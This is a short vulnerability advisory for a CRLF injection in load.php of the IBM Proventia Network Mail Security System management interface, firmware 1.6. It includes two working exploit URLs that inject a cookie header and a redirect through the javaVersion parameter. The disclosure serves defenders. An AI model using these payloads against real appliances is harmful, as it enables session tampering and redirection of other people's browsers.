Description

Web-based Local Management Interface (LMI) of IBM Proventia Network Mail 
Security System appliance (firmware 1.6) is vulnerable to a CRLF Injection 
vulnerability. When exploited by an authenticated attacker, such vulnerability 
could lead to compromising the security of the appliance, allowing injection of 
custom HTTP cookies, forcing external redirects, potential HTTP Response 
Splitting attacks, etc.

The affected resource is not part of the IBM PNMSS firmware 2.5.

By manipulating the javaVersion parameter of load.php resource, an 
authenticated attacker can perform the attacks above.

The following exploit allows injecting custom cookies used by the client 
browser during a valid HTTP session:

        
url_placeholder/load.php?browVerOK=true&browVerPerfect=false&javaVersion=any%0D%0ASet-cookie:
   %20MyOwnCookie=SOME_DATA_HERE&javaVendor=Sun%20Microsystems     
%20Inc.&javaEnabled=true&welcome=true&detectionFlag=1&popupBlocked=no

The following exploit allows forcing external browser redirects:

        
url_placeholder/load.php?browVerOK=true&browVerPerfect=false&javaVersion=any%0D%0ALocation:
     %20http://www.google.com%0D%0A&javaVendor=Sun%20Microsystems    
%20Inc.&javaEnabled=true&welcome=true&detectionFlag=1&popupBlocked=no


Affected Versions

IBM Proventia Network Mail Security System - virtual appliance (firmware 1.6)
